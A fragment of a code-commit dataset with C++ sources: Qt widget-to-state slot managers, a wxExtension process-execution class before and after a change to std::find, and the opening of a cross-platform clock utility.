AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<LineEditSlotManager>(state_, *this, stateKey, lineEdit));\n}\n\nclass DoubleLineEditSlotManager : public WidgetSlotManager\n{\npublic:\n DoubleLineEditSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QLineEdit* lineEdit) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), lineEdit_(lineEdit)\n {\n connect(lineEdit_, SIGNAL(textChanged(const QString&)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = QString::number(state_->getValue(stateKey_).toDouble());\n if (newValue != lineEdit_->text())\n {\n lineEdit_->setText(newValue);\n LOG_DEBUG(\"In new version of pull code for DoubleLineEdit: \" << newValue.toStdString());\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for LineEdit: \" << lineEdit_->text().toStdString());\n state_->setValue(stateKey_, boost::lexical_cast<double>(lineEdit_->text().toStdString()));\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QLineEdit* lineEdit_;\n};\n\nvoid ModuleDialogGeneric::addDoubleLineEditManager(QLineEdit* lineEdit, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<DoubleLineEditSlotManager>(state_, *this, stateKey, lineEdit));\n}\n\nclass SpinBoxSlotManager : public WidgetSlotManager\n{\npublic:\n SpinBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QSpinBox* spinBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), spinBox_(spinBox)\n {\n connect(spinBox_, SIGNAL(valueChanged(int)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = state_->getValue(stateKey_).toInt();\n if (newValue != spinBox_->value())\n {\n spinBox_->setValue(newValue);\n LOG_DEBUG(\"In new version of pull code for SpinBox: \" << newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for SpinBox: \" << spinBox_->value());\n state_->setValue(stateKey_, spinBox_->value());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QSpinBox* spinBox_;\n};\n\nvoid ModuleDialogGeneric::addSpinBoxManager(QSpinBox* spinBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<SpinBoxSlotManager>(state_, *this, stateKey, spinBox));\n}\n\nclass DoubleSpinBoxSlotManager : public WidgetSlotManager\n{\npublic:\n DoubleSpinBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QDoubleSpinBox* spinBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), spinBox_(spinBox)\n {\n connect(spinBox_, SIGNAL(valueChanged(double)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n auto newValue = state_->getValue(stateKey_).toDouble();\n if (newValue != spinBox_->value())\n {\n spinBox_->setValue(newValue);\n LOG_DEBUG(\"In new version of pull code for DoubleSpinBox: \" << newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for DoubleSpinBox: \" << spinBox_->value());\n state_->setValue(stateKey_, spinBox_->value());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QDoubleSpinBox* spinBox_;\n};\n\nvoid ModuleDialogGeneric::addDoubleSpinBoxManager(QDoubleSpinBox* spinBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<DoubleSpinBoxSlotManager>(state_, *this, stateKey, spinBox));\n}\n\nclass CheckBoxSlotManager : public WidgetSlotManager\n{\npublic:\n CheckBoxSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QCheckBox* checkBox) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), checkBox_(checkBox)\n {\n connect(checkBox_, SIGNAL(stateChanged(int)), this, SLOT(push()));\n }\n virtual void pull() override\n {\n bool newValue = state_->getValue(stateKey_).toBool();\n if (newValue != checkBox_->isChecked())\n {\n LOG_DEBUG(\"In new version of pull code for CheckBox: \" << newValue);\n checkBox_->setChecked(newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for CheckBox: \" << checkBox_->isChecked());\n state_->setValue(stateKey_, checkBox_->isChecked());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QCheckBox* checkBox_;\n};\n\nvoid ModuleDialogGeneric::addCheckBoxManager(QCheckBox* checkBox, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<CheckBoxSlotManager>(state_, *this, stateKey, checkBox));\n}\n\nclass CheckableButtonSlotManager : public WidgetSlotManager\n{\npublic:\n CheckableButtonSlotManager(ModuleStateHandle state, ModuleDialogGeneric& dialog, const AlgorithmParameterName& stateKey, QAbstractButton* checkable) :\n WidgetSlotManager(state, dialog), stateKey_(stateKey), checkable_(checkable)\n {\n connect(checkable_, SIGNAL(clicked()), this, SLOT(push()));\n }\n virtual void pull() override\n {\n bool newValue = state_->getValue(stateKey_).toBool();\n if (newValue != checkable_->isChecked())\n {\n LOG_DEBUG(\"In new version of pull code for checkable QAbstractButton: \" << newValue);\n checkable_->setChecked(newValue);\n }\n }\n virtual void pushImpl() override\n {\n LOG_DEBUG(\"In new version of push code for checkable QAbstractButton: \" << checkable_->isChecked());\n state_->setValue(stateKey_, checkable_->isChecked());\n }\nprivate:\n AlgorithmParameterName stateKey_;\n QAbstractButton* checkable_;\n};\n\nvoid ModuleDialogGeneric::addCheckableButtonManager(QAbstractButton* checkable, const AlgorithmParameterName& stateKey)\n{\n addWidgetSlotManager(boost::make_shared<CheckableButtonSlotManager>(state_, *this, stateKey, checkable));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Name: process.cpp\n\/\/ Purpose: Implementation of class wxExProcess\n\/\/ Author: Anton van Wezenbeek\n\/\/ Copyright: (c) 2016 Anton van Wezenbeek\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <vector>\n#include <wx\/wxprec.h>\n#ifndef WX_PRECOMP\n#include <wx\/wx.h>\n#endif\n#include <wx\/config.h>\n#include <wx\/process.h>\n#include <wx\/timer.h>\n#include <wx\/txtstrm.h> \/\/ for wxTextInputStream\n#include <wx\/extension\/process.h>\n#include <wx\/extension\/debug.h>\n#include <wx\/extension\/defs.h>\n#include <wx\/extension\/itemdlg.h>\n#include <wx\/extension\/managedframe.h>\n#include <wx\/extension\/shell.h>\n#include <wx\/extension\/util.h> \/\/ for wxExConfigFirstOf\n\n#define GET_STREAM(SCOPE) \\\n{ \\\n if (Is##SCOPE##Available()) \\\n { \\\n wxTextInputStream tis(*Get##SCOPE##Stream()); \\\n \\\n while (Is##SCOPE##Available()) \\\n { \\\n const char c = tis.GetChar(); \\\n \\\n if (c != 0) \\\n { \\\n text += c; \\\n } \\\n } \\\n } \\\n}; \\\n\nclass wxExProcessImp : public wxProcess\n{\npublic:\n wxExProcessImp(wxExManagedFrame* frame, wxExShell* shell, bool debug)\n : wxProcess(wxPROCESS_REDIRECT) \n , m_Debug(debug)\n , m_Frame(frame)\n , m_Shell(shell)\n , m_Timer(std::make_unique<wxTimer>(this)) {\n Bind(wxEVT_TIMER, [=](wxTimerEvent& event) {Read();});};\n virtual ~wxExProcessImp() {;};\n\n bool Execute(const std::string& command, const std::string& path);\n bool Kill();\n static int KillAll();\n void Read();\n bool Write(const std::string& text);\nprivate:\n void HandleCommand(const wxString& command);\n virtual void OnTerminate(int pid, int status) override {\n const auto it = find (m_pids.begin(), m_pids.end(), pid);\n if (it != m_pids.end())\n {\n m_pids.erase(it);\n }\n m_Timer->Stop();\n Read();};\n \n const bool m_Debug;\n std::string m_Command, m_StdIn;\n wxExManagedFrame* m_Frame;\n wxExShell* m_Shell;\n std::unique_ptr<wxTimer> m_Timer;\n wxCriticalSection m_Critical;\n static std::vector<int> m_pids;\n};\n\nbool ShowProcess(wxExManagedFrame* frame, bool show)\n{\n if (frame != nullptr)\n {\n frame->ShowPane(\"PROCESS\", show);\n return true;\n }\n\n return false; \n}\n \nstd::vector<int> wxExProcessImp::m_pids;\n\nwxExShell* wxExProcess::m_Shell = nullptr;\nwxString wxExProcess::m_WorkingDirKey = _(\"Process folder\");\n\nwxExProcess::wxExProcess() \n : m_Command(wxExConfigFirstOf(_(\"Process\")))\n , m_Frame(dynamic_cast<wxExManagedFrame*>(wxTheApp->GetTopWindow()))\n{\n}\n\nwxExProcess::~wxExProcess()\n{\n}\n \nwxExProcess::wxExProcess(const wxExProcess& process)\n{\n *this = process;\n}\n \nwxExProcess& wxExProcess::operator=(const wxExProcess& p)\n{\n if (this != &p)\n {\n m_Command = p.m_Command;\n m_Error = p.m_Error;\n m_StdErr = p.m_StdErr;\n m_StdOut = p.m_StdOut;\n }\n\n return *this;\n}\n\nint wxExProcess::ConfigDialog(\n wxWindow* parent,\n const wxString& title,\n bool modal)\n{\n wxExItem ci(_(\"Process\"), ITEM_COMBOBOX, wxAny(), true);\n \n wxTextValidator validator(wxFILTER_EXCLUDE_CHAR_LIST);\n validator.SetCharExcludes(\"?%*\\\"\");\n ci.SetValidator(&validator);\n \n const std::vector<wxExItem> v {\n ci,\n {m_WorkingDirKey, ITEM_COMBOBOX_DIR, wxAny(), true, wxWindow::NewControlId()}};\n\n if (modal)\n {\n return wxExItemDialog(parent, v, title).ShowModal();\n }\n else\n {\n wxExItemDialog* dlg = new wxExItemDialog(parent, v, title);\n return dlg->Show();\n }\n}\n\nbool wxExProcess::Execute(\n const std::string& command,\n bool wait,\n const std::string& wd)\n{\n m_Error = false;\n \n std::string cwd(wd);\n \n if (command.empty())\n {\n if (wxExConfigFirstOf(_(\"Process\")).empty())\n {\n if (ConfigDialog(wxTheApp->GetTopWindow()) == wxID_CANCEL)\n {\n return false;\n }\n }\n \n m_Command = wxExConfigFirstOf(_(\"Process\"));\n cwd = wxExConfigFirstOf(m_WorkingDirKey);\n }\n else\n {\n m_Command = command;\n }\n\n if (!wait)\n { \n \/\/ We need a shell for output.\n if (m_Shell == nullptr) return false;\n \n m_Shell->EnableShell(true);\n m_Shell->SetProcess(this);\n m_Shell->SetName(m_Command);\n m_Shell->SetPrompt(\n \/\/ a unix shell itself has no prompt, so put one here\n m_Command.find(\"bash\") == 0 ||\n m_Command.find(\"csh\") == 0 ||\n m_Command.find(\"ksh\") == 0 ||\n m_Command.find(\"tcsh\") == 0 ||\n m_Command.find(\"sh\") == 0 ? \">\" : \"\");\n \n m_Process = std::make_unique<wxExProcessImp>(m_Frame, m_Shell, command == \"gdb\");\n\n if (!m_Process->Execute(m_Command, wd))\n {\n m_Process.release();\n m_Error = true;\n }\n }\n else\n {\n wxArrayString output;\n wxArrayString errors;\n struct wxExecuteEnv env;\n env.cwd = wd;\n \n if (wxExecute(m_Command, output, errors, wxEXEC_SYNC, &env) == -1)\n {\n m_StdErr.clear();\n m_StdOut.clear();\n m_Error = true;\n }\n else\n {\n \/\/ Set output by converting array strings into normal strings.\n m_StdOut = wxJoin(output, '\\n', '\\n');\n m_StdErr = wxJoin(errors, '\\n', '\\n');\n }\n\n if (m_Shell != nullptr)\n {\n m_Shell->EnableShell(false);\n }\n }\n \n return !m_Error;\n}\n\nbool wxExProcess::IsRunning() const\n{\n return m_Process != nullptr && wxProcess::Exists(m_Process->GetPid());\n}\n\nbool wxExProcess::Kill()\n{\n bool killed = false;\n\n if (m_Process != nullptr)\n {\n killed = m_Process->Kill();\n m_Process.release();\n }\n \n ShowProcess(m_Frame, false);\n\n return killed;\n}\n\nint wxExProcess::KillAll()\n{\n return wxExProcessImp::KillAll();\n}\n\nvoid wxExProcess::PrepareOutput(wxWindow* parent)\n{\n if (m_Shell == nullptr)\n {\n m_Shell = new wxExShell(parent, \n std::string(), \n std::string(), \n true, \n 100);\n }\n}\n\n#if wxUSE_GUI\nvoid wxExProcess::ShowOutput(const wxString& caption) const\n{\n if (!m_Error)\n {\n if (m_Shell != nullptr && ShowProcess(m_Frame, true))\n {\n m_Shell->AppendText(m_StdOut);\n }\n else\n {\n std::cout << m_StdOut << \"\\n\";\n }\n }\n else\n {\n \/\/ Executing command failed, so no output,\n \/\/ show failing command.\n wxLogError(\"Could not execute: %s\", m_Command.c_str());\n }\n}\n#endif\n\nbool wxExProcess::Write(const std::string& text)\n{\n if (!IsRunning()) \n {\n wxLogStatus(\"Process is not running\");\n return false;\n }\n \n m_Process->Write(text);\n \n if (!IsRunning())\n {\n ShowProcess(m_Frame, false);\n }\n\n return true;\n}\n\n\/\/ Implementation.\n\nbool wxExProcessImp::Execute(\n const std::string& command, const std::string& path)\n{\n struct wxExecuteEnv env;\n env.cwd = path;\n m_Command = command;\n \n if (wxExecute(command, wxEXEC_ASYNC, this, &env) <= 0) \n {\n return false;\n }\n \n m_pids.push_back(GetPid());\n \n ShowProcess(m_Frame, true);\n m_Timer->Start(100); \/\/ milliseconds\n m_Shell->SetFocus();\n \n return true;\n}\n\nvoid wxExProcessImp::HandleCommand(const wxString& command)\n{\n wxString rest;\n \n if (\n command.StartsWith(\"cd\", &rest)\n#ifdef __WXMSW__\n || command.StartsWith(\"chdir\", &rest)\n#endif \n )\n {\n wxLogNull logNo;\n rest.Trim(false);\n rest.Trim(true);\n \n if (rest.empty() || rest == \"~\")\n {\n#ifdef __WXMSW__\n#else \n wxSetWorkingDirectory(wxGetHomeDir());\n#endif \n }\n else\n {\n wxSetWorkingDirectory(rest);\n }\n }\n}\n\nbool wxExProcessImp::Kill()\n{\n int pid = GetPid();\n\n if (wxProcess::Kill(pid, wxSIGKILL) != wxKILL_OK)\n {\n return false;\n }\n \n const auto it = find (m_pids.begin(), m_pids.end(), pid);\n\n if (it != m_pids.end())\n {\n m_pids.erase(it);\n }\n\n return true;\n}\n\nint wxExProcessImp::KillAll()\n{\n int killed = 0;\n \n for (auto pid : m_pids)\n {\n if (wxProcess::Kill(pid, wxSIGKILL) == wxKILL_OK)\n {\n killed++;\n }\n }\n \n if (killed != m_pids.size())\n {\n std::cout << \"could not kill all processes\\n\";\n }\n \n return killed;\n}\n\nvoid wxExProcessImp::Read()\n{\n wxCriticalSectionLocker lock(m_Critical);\n \n std::string text;\n GET_STREAM(Input);\n GET_STREAM(Error);\n \n if (!text.empty())\n {\n m_Shell->AppendText(\n \/\/ prevent echo of last input\n !m_StdIn.empty() && text.find(m_StdIn) == 0 ?\n text.substr(m_StdIn.length()):\n text);\n \n if (m_Debug && m_Frame != nullptr)\n {\n m_Frame->GetDebug()->ProcessStdOut(text);\n }\n }\n \n if (!m_StdIn.empty())\n {\n m_StdIn.clear();\n m_Shell->Prompt(std::string(), false);\n }\n}\n\nbool wxExProcessImp::Write(const std::string& text)\n{\n m_Timer->Stop();\n \n if (m_Command.find(\"cmd\") == 0 ||\n m_Command.find(\"powershell\") == 0)\n {\n m_Shell->DocumentEnd();\n }\n \n \/\/ Write text to process and restart timer.\n wxOutputStream* os = GetOutputStream();\n\n if (os != nullptr)\n {\n HandleCommand(text);\n\n if (m_Debug && m_Frame != nullptr)\n {\n m_Frame->GetDebug()->ProcessStdIn(text);\n }\n\n const std::string el = (text.size() == 1 && text[0] == 3 ? std::string(): std::string(\"\\n\"));\n wxTextOutputStream(*os).WriteString(text + el);\n m_StdIn = text;\n wxMilliSleep(10);\n Read();\n m_Timer->Start();\n }\n\n return true;\n}\n<commit_msg>use std::find<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Name: process.cpp\n\/\/ Purpose: Implementation of class wxExProcess\n\/\/ Author: Anton van Wezenbeek\n\/\/ Copyright: (c) 2016 Anton van Wezenbeek\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <vector>\n#include <wx\/wxprec.h>\n#ifndef WX_PRECOMP\n#include <wx\/wx.h>\n#endif\n#include <wx\/config.h>\n#include <wx\/process.h>\n#include <wx\/timer.h>\n#include <wx\/txtstrm.h> \/\/ for wxTextInputStream\n#include <wx\/extension\/process.h>\n#include <wx\/extension\/debug.h>\n#include <wx\/extension\/defs.h>\n#include <wx\/extension\/itemdlg.h>\n#include <wx\/extension\/managedframe.h>\n#include <wx\/extension\/shell.h>\n#include <wx\/extension\/util.h> \/\/ for wxExConfigFirstOf\n\n#define GET_STREAM(SCOPE) \\\n{ \\\n if (Is##SCOPE##Available()) \\\n { \\\n wxTextInputStream tis(*Get##SCOPE##Stream()); \\\n \\\n while (Is##SCOPE##Available()) \\\n { \\\n const char c = tis.GetChar(); \\\n \\\n if (c != 0) \\\n { \\\n text += c; \\\n } \\\n } \\\n } \\\n}; \\\n\nclass wxExProcessImp : public wxProcess\n{\npublic:\n wxExProcessImp(wxExManagedFrame* frame, wxExShell* shell, bool debug)\n : wxProcess(wxPROCESS_REDIRECT) \n , m_Debug(debug)\n , m_Frame(frame)\n , m_Shell(shell)\n , m_Timer(std::make_unique<wxTimer>(this)) {\n Bind(wxEVT_TIMER, [=](wxTimerEvent& event) {Read();});};\n virtual ~wxExProcessImp() {;};\n\n bool Execute(const std::string& command, const std::string& path);\n bool Kill();\n static int KillAll();\n void Read();\n bool Write(const std::string& text);\nprivate:\n void HandleCommand(const wxString& command);\n virtual void OnTerminate(int pid, int status) override {\n const auto it = std::find(m_pids.begin(), m_pids.end(), pid);\n if (it != m_pids.end())\n {\n m_pids.erase(it);\n }\n m_Timer->Stop();\n Read();};\n \n const bool m_Debug;\n std::string m_Command, m_StdIn;\n wxExManagedFrame* m_Frame;\n wxExShell* m_Shell;\n std::unique_ptr<wxTimer> m_Timer;\n wxCriticalSection m_Critical;\n static std::vector<int> m_pids;\n};\n\nbool ShowProcess(wxExManagedFrame* frame, bool show)\n{\n if (frame != nullptr)\n {\n frame->ShowPane(\"PROCESS\", show);\n return true;\n }\n\n return false; \n}\n \nstd::vector<int> wxExProcessImp::m_pids;\n\nwxExShell* wxExProcess::m_Shell = nullptr;\nwxString wxExProcess::m_WorkingDirKey = _(\"Process folder\");\n\nwxExProcess::wxExProcess() \n : m_Command(wxExConfigFirstOf(_(\"Process\")))\n , m_Frame(dynamic_cast<wxExManagedFrame*>(wxTheApp->GetTopWindow()))\n{\n}\n\nwxExProcess::~wxExProcess()\n{\n}\n \nwxExProcess::wxExProcess(const wxExProcess& process)\n{\n *this = process;\n}\n \nwxExProcess& wxExProcess::operator=(const wxExProcess& p)\n{\n if (this != &p)\n {\n m_Command = p.m_Command;\n m_Error = p.m_Error;\n m_StdErr = p.m_StdErr;\n m_StdOut = p.m_StdOut;\n }\n\n return *this;\n}\n\nint wxExProcess::ConfigDialog(\n wxWindow* parent,\n const wxString& title,\n bool modal)\n{\n wxExItem ci(_(\"Process\"), ITEM_COMBOBOX, wxAny(), true);\n \n wxTextValidator validator(wxFILTER_EXCLUDE_CHAR_LIST);\n validator.SetCharExcludes(\"?%*\\\"\");\n ci.SetValidator(&validator);\n \n const std::vector<wxExItem> v {\n ci,\n {m_WorkingDirKey, ITEM_COMBOBOX_DIR, wxAny(), true, wxWindow::NewControlId()}};\n\n if (modal)\n {\n return wxExItemDialog(parent, v, title).ShowModal();\n }\n else\n {\n wxExItemDialog* dlg = new wxExItemDialog(parent, v, title);\n return dlg->Show();\n }\n}\n\nbool wxExProcess::Execute(\n const std::string& command,\n bool wait,\n const std::string& wd)\n{\n m_Error = false;\n \n std::string cwd(wd);\n \n if (command.empty())\n {\n if (wxExConfigFirstOf(_(\"Process\")).empty())\n {\n if (ConfigDialog(wxTheApp->GetTopWindow()) == wxID_CANCEL)\n {\n return false;\n }\n }\n \n m_Command = wxExConfigFirstOf(_(\"Process\"));\n cwd = wxExConfigFirstOf(m_WorkingDirKey);\n }\n else\n {\n m_Command = command;\n }\n\n if (!wait)\n { \n \/\/ We need a shell for output.\n if (m_Shell == nullptr) return false;\n \n m_Shell->EnableShell(true);\n m_Shell->SetProcess(this);\n m_Shell->SetName(m_Command);\n m_Shell->SetPrompt(\n \/\/ a unix shell itself has no prompt, so put one here\n m_Command.find(\"bash\") == 0 ||\n m_Command.find(\"csh\") == 0 ||\n m_Command.find(\"ksh\") == 0 ||\n m_Command.find(\"tcsh\") == 0 ||\n m_Command.find(\"sh\") == 0 ? \">\" : \"\");\n \n m_Process = std::make_unique<wxExProcessImp>(m_Frame, m_Shell, command == \"gdb\");\n\n if (!m_Process->Execute(m_Command, wd))\n {\n m_Process.release();\n m_Error = true;\n }\n }\n else\n {\n wxArrayString output;\n wxArrayString errors;\n struct wxExecuteEnv env;\n env.cwd = wd;\n \n if (wxExecute(m_Command, output, errors, wxEXEC_SYNC, &env) == -1)\n {\n m_StdErr.clear();\n m_StdOut.clear();\n m_Error = true;\n }\n else\n {\n \/\/ Set output by converting array strings into normal strings.\n m_StdOut = wxJoin(output, '\\n', '\\n');\n m_StdErr = wxJoin(errors, '\\n', '\\n');\n }\n\n if (m_Shell != nullptr)\n {\n m_Shell->EnableShell(false);\n }\n }\n \n return !m_Error;\n}\n\nbool wxExProcess::IsRunning() const\n{\n return m_Process != nullptr && wxProcess::Exists(m_Process->GetPid());\n}\n\nbool wxExProcess::Kill()\n{\n bool killed = false;\n\n if (m_Process != nullptr)\n {\n killed = m_Process->Kill();\n m_Process.release();\n }\n \n ShowProcess(m_Frame, false);\n\n return killed;\n}\n\nint wxExProcess::KillAll()\n{\n return wxExProcessImp::KillAll();\n}\n\nvoid wxExProcess::PrepareOutput(wxWindow* parent)\n{\n if (m_Shell == nullptr)\n {\n m_Shell = new wxExShell(parent, \n std::string(), \n std::string(), \n true, \n 100);\n }\n}\n\n#if wxUSE_GUI\nvoid wxExProcess::ShowOutput(const wxString& caption) const\n{\n if (!m_Error)\n {\n if (m_Shell != nullptr && ShowProcess(m_Frame, true))\n {\n m_Shell->AppendText(m_StdOut);\n }\n else\n {\n std::cout << m_StdOut << \"\\n\";\n }\n }\n else\n {\n \/\/ Executing command failed, so no output,\n \/\/ show failing command.\n wxLogError(\"Could not execute: %s\", m_Command.c_str());\n }\n}\n#endif\n\nbool wxExProcess::Write(const std::string& text)\n{\n if (!IsRunning()) \n {\n wxLogStatus(\"Process is not running\");\n return false;\n }\n \n m_Process->Write(text);\n \n if (!IsRunning())\n {\n ShowProcess(m_Frame, false);\n }\n\n return true;\n}\n\n\/\/ Implementation.\n\nbool wxExProcessImp::Execute(\n const std::string& command, const std::string& path)\n{\n struct wxExecuteEnv env;\n env.cwd = path;\n m_Command = command;\n \n if (wxExecute(command, wxEXEC_ASYNC, this, &env) <= 0) \n {\n return false;\n }\n \n m_pids.push_back(GetPid());\n \n ShowProcess(m_Frame, true);\n m_Timer->Start(100); \/\/ milliseconds\n m_Shell->SetFocus();\n \n return true;\n}\n\nvoid wxExProcessImp::HandleCommand(const wxString& command)\n{\n wxString rest;\n \n if (\n command.StartsWith(\"cd\", &rest)\n#ifdef __WXMSW__\n || command.StartsWith(\"chdir\", &rest)\n#endif \n )\n {\n wxLogNull logNo;\n rest.Trim(false);\n rest.Trim(true);\n \n if (rest.empty() || rest == \"~\")\n {\n#ifdef __WXMSW__\n#else \n wxSetWorkingDirectory(wxGetHomeDir());\n#endif \n }\n else\n {\n wxSetWorkingDirectory(rest);\n }\n }\n}\n\nbool wxExProcessImp::Kill()\n{\n int pid = GetPid();\n\n if (wxProcess::Kill(pid, wxSIGKILL) != wxKILL_OK)\n {\n return false;\n }\n \n const auto it = std::find(m_pids.begin(), m_pids.end(), pid);\n\n if (it != m_pids.end())\n {\n m_pids.erase(it);\n }\n\n return true;\n}\n\nint wxExProcessImp::KillAll()\n{\n int killed = 0;\n \n for (auto pid : m_pids)\n {\n if (wxProcess::Kill(pid, wxSIGKILL) == wxKILL_OK)\n {\n killed++;\n }\n }\n \n if (killed != m_pids.size())\n {\n std::cout << \"could not kill all processes\\n\";\n }\n \n return killed;\n}\n\nvoid wxExProcessImp::Read()\n{\n wxCriticalSectionLocker lock(m_Critical);\n \n std::string text;\n GET_STREAM(Input);\n GET_STREAM(Error);\n \n if (!text.empty())\n {\n m_Shell->AppendText(\n \/\/ prevent echo of last input\n !m_StdIn.empty() && text.find(m_StdIn) == 0 ?\n text.substr(m_StdIn.length()):\n text);\n \n if (m_Debug && m_Frame != nullptr)\n {\n m_Frame->GetDebug()->ProcessStdOut(text);\n }\n }\n \n if (!m_StdIn.empty())\n {\n m_StdIn.clear();\n m_Shell->Prompt(std::string(), false);\n }\n}\n\nbool wxExProcessImp::Write(const std::string& text)\n{\n m_Timer->Stop();\n \n if (m_Command.find(\"cmd\") == 0 ||\n m_Command.find(\"powershell\") == 0)\n {\n m_Shell->DocumentEnd();\n }\n \n \/\/ Write text to process and restart timer.\n wxOutputStream* os = GetOutputStream();\n\n if (os != nullptr)\n {\n HandleCommand(text);\n\n if (m_Debug && m_Frame != nullptr)\n {\n m_Frame->GetDebug()->ProcessStdIn(text);\n }\n\n const std::string el = (text.size() == 1 && text[0] == 3 ? std::string(): std::string(\"\\n\"));\n wxTextOutputStream(*os).WriteString(text + el);\n m_StdIn = text;\n wxMilliSleep(10);\n Read();\n m_Timer->Start();\n }\n\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"time.hpp\"\n\n#include <inttypes.h>\n\n#ifndef _MSC_VER\n#include <sys\/time.h>\n#endif\n\n#ifdef __MACH__\n#include <mach\/mach_time.h>\n#include \"thread_local.hpp\"\n#include \"utils.hpp\"\n#endif\n\n#include \"config\/args.hpp\"\n#include \"errors.hpp\"\n\n#ifdef _MSC_VER\n\nmicrotime_t current_microtime() {\n FILETIME time;\n#if _WIN32_WINNT >= 0x602 \/\/ Windows 8\n GetSystemTimePreciseAsFileTime(&time);\n#else\n GetSystemTimeAsFileTime(&time);\n#endif\n ULARGE_INTEGER nanos100;\n nanos100.LowPart = time.dwLowDateTime;\n nanos100.HighPart = time.dwHighDateTime;\n return nanos100.QuadPart \/ 10;\n}\n\n#else\n\nmicrotime_t current_microtime() {\n \/\/ This could be done more efficiently, surely.\n struct timeval t;\n DEBUG_VAR int res = gettimeofday(&t, nullptr);\n rassert(0 == res);\n return uint64_t(t.tv_sec) * MILLION + t.tv_usec;\n}\n\n#endif\n\nticks_t secs_to_ticks(time_t secs) {\n return static_cast<ticks_t>(secs) * BILLION;\n}\n\n#ifdef __MACH__\nTLS(mach_timebase_info_data_t, mach_time_info);\n#endif \/\/ __MACH__\n\ntimespec clock_monotonic() {\n#ifdef __MACH__\n mach_timebase_info_data_t mach_time_info = TLS_get_mach_time_info();\n if (mach_time_info.denom == 0) {\n mach_timebase_info(&mach_time_info);\n guarantee(mach_time_info.denom != 0);\n TLS_set_mach_time_info(mach_time_info);\n }\n const uint64_t t = mach_absolute_time();\n uint64_t nanosecs = t * mach_time_info.numer \/ mach_time_info.denom;\n timespec ret;\n ret.tv_sec = nanosecs \/ BILLION;\n ret.tv_nsec = nanosecs % BILLION;\n return ret;\n#elif defined(_WIN32)\n timespec ret;\n static THREAD_LOCAL LARGE_INTEGER frequency_hz = {0};\n if (frequency_hz.QuadPart == 0) {\n BOOL res = QueryPerformanceFrequency(&frequency_hz);\n guarantee_winerr(res, \"QueryPerformanceFrequency failed\");\n }\n LARGE_INTEGER counter;\n BOOL res = QueryPerformanceCounter(&counter);\n guarantee_winerr(res, \"QueryPerformanceCounter failed\");\n ret.tv_sec = counter.QuadPart \/ frequency_hz.QuadPart;\n ret.tv_nsec = (counter.QuadPart - ret.tv_sec * frequency_hz.QuadPart) * BILLION \/ frequency_hz.QuadPart;\n return ret;\n#else\n timespec ret;\n int res = clock_gettime(CLOCK_MONOTONIC, &ret);\n guarantee_err(res == 0, \"clock_gettime(CLOCK_MONOTIC, ...) failed\");\n return ret;\n#endif\n}\n\ntimespec clock_realtime() {\n#ifdef __MACH__\n struct timeval tv;\n int res = gettimeofday(&tv, nullptr);\n guarantee_err(res == 0, \"gettimeofday failed\");\n\n timespec ret;\n ret.tv_sec = tv.tv_sec;\n ret.tv_nsec = THOUSAND * tv.tv_usec;\n return ret;\n#elif defined(_MSC_VER)\n FILETIME time;\n#if _WIN32_WINNT >= 0x602 \/\/ Windows 8\n GetSystemTimePreciseAsFileTime(&time);\n#else\n GetSystemTimeAsFileTime(&time);\n#endif\n ULARGE_INTEGER nanos100;\n nanos100.LowPart = time.dwLowDateTime;\n nanos100.HighPart = time.dwHighDateTime;\n timespec ret;\n ret.tv_sec = nanos100.QuadPart \/ (MILLION * 10);\n ret.tv_nsec = (nanos100.QuadPart % (MILLION * 10)) * 100;\n return ret;\n#else\n timespec ret;\n int res = clock_gettime(CLOCK_REALTIME, &ret);\n guarantee_err(res == 0, \"clock_gettime(CLOCK_REALTIME) 